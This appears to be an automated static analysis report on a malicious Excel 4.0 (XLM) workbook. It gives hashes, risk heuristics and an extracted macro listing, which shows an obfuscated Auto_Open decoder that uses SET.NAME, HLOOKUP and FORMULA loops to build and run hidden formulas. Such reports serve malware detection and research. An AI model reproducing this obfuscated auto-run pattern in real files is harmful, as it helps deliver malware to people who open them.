Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 047585d57abffa17…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:46 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 32cf192b25547624d433ef565f94b912 SHA-1: 25b2810fe3fd9f8b602331dc3388c9494a6917b8 SHA-256: 047585d57abffa170d0379afa84fe713007454ae3f276b748fe2c27a2e1ba540
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6436 bytes
SHA-256: 79db2f6f20bf3584d375bf6173e77d574327f8ff323f1d58aa31a5ec219da266
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YUAyx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H138 
' 0018     24 LABEL : Cell Value, String Constant - cdeUNqORq len=0 
' 0018     27 LABEL : Cell Value, String Constant - ejFhMCNYiZiS len=0 
' 0018     20 LABEL : Cell Value, String Constant - gBGtL len=0 
' 0018     22 LABEL : Cell Value, String Constant - gDmXnhd len=0 
' 0018     25 LABEL : Cell Value, String Constant - GridAqasUf len=0 
' 0018     27 LABEL : Cell Value, String Constant - gVdIzfBkJrZt len=0 
' 0018     26 LABEL : Cell Value, String Constant - JGUABEEapkA len=0 
' 0018     20 LABEL : Cell Value, String Constant - kUrpw len=0 
' 0018     22 LABEL : Cell Value, String Constant - kZDGqwC len=0 
' 0018     24 LABEL : Cell Value, String Constant - NexkMzYJj len=0 
' 0018     27 LABEL : Cell Value, String Constant - nslxUQyfiuqv len=0 
' 0018     25 LABEL : Cell Value, String Constant - NURAWrmWBn len=0 
' 0018     20 LABEL : Cell Value, String Constant - oAkxc len=0 
' 0018     26 LABEL : Cell Value, String Constant - RIcLIubpomC len=0 
' 0018     21 LABEL : Cell Value, String Constant - SBTGPD len=0 
' 0018     20 LABEL : Cell Value, String Constant - USfjt len=0 
' 0018     21 LABEL : Cell Value, String Constant - VWoHKf len=0 
' 0018     22 LABEL : Cell Value, String Constant - yfRYhJu len=0 
' 0018     25 LABEL : Cell Value, String Constant - YKcbOJjnFX len=0 
' 0018     21 LABEL : Cell Value, String Constant - YYuMrO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YUAyx,H52,"SET.NAME("cdeUNqORq",VALUE("0"))",""
'  YUAyx,H55,"SET.NAME("GridAqasUf",cdeUNqORq)",""
'  YUAyx,H57,"SET.NAME("ejFhMCNYiZiS",cdeUNqORq)",""
'  YUAyx,H59,"SET.NAME("SBTGPD",COUNTA(RIcLIubpomC))",""
'  YUAyx,H61,"SET.NAME("yfRYhJu",COUNTA(nslxUQyfiuqv))",""
'  YUAyx,H66,[],""
'  YUAyx,H68,"SET.NAME("YKcbOJjnFX","")",""
'  YUAyx,H70,"GridAqasUf",""
'  YUAyx,H72,"SET.NAME("YYuMrO",HLOOKUP("*",RIcLIubpomC,GridAqasUf,FALSE))",""
'  YUAyx,H76,"gDmXnhd",""
'  YUAyx,H79,"SET.NAME("kZDGqwC",cdeUNqORq)",""
'  YUAyx,H83,[],""
'  YUAyx,H88,"kZDGqwC",""
'  YUAyx,H92,"kUrpw",""
'  YUAyx,H94,"NURAWrmWBn",""
'  YUAyx,H99,"USfjt",""
'  YUAyx,H104,"SET.NAME("JGUABEEapkA",VALUE(HLOOKUP("*",nslxUQyfiuqv,USfjt,FALSE)))",""
'  YUAyx,H107,"oAkxc",""
'  YUAyx,H112,"YKcbOJjnFX",""
'  YUAyx,H116,"ejFhMCNYiZiS",""
'  YUAyx,H118,NEXT(),""
'  YUAyx,H120,"gBGtL",""
'  YUAyx,H125,"SET.NAME("f",INT(T(FORMULA(T(YKcbOJjnFX)&"",""&T(gBGtL)))))",""
'  YUAyx,H127,"NexkMzYJj",""
'  YUAyx,H132,NEXT(),""
'  YUAyx,H135,RETURN(),""
'  YUAyx,H161,"SET.NAME("VWoHKf",H52)",""
'  YUAyx,H163,"RIcLIubpomC",""
'  YUAyx,H168,"SET.NAME("nslxUQyfiuqv",R81C14)",""
'  YUAyx,H172,"SET.NAME("NexkMzYJj",183)",""
'  YUAyx,H177,"SET.NAME("gVdIzfBkJrZt",8)",""
'  YUAyx,H182,VWoHKf(),""
'  YUAyx,H183,HALT(),""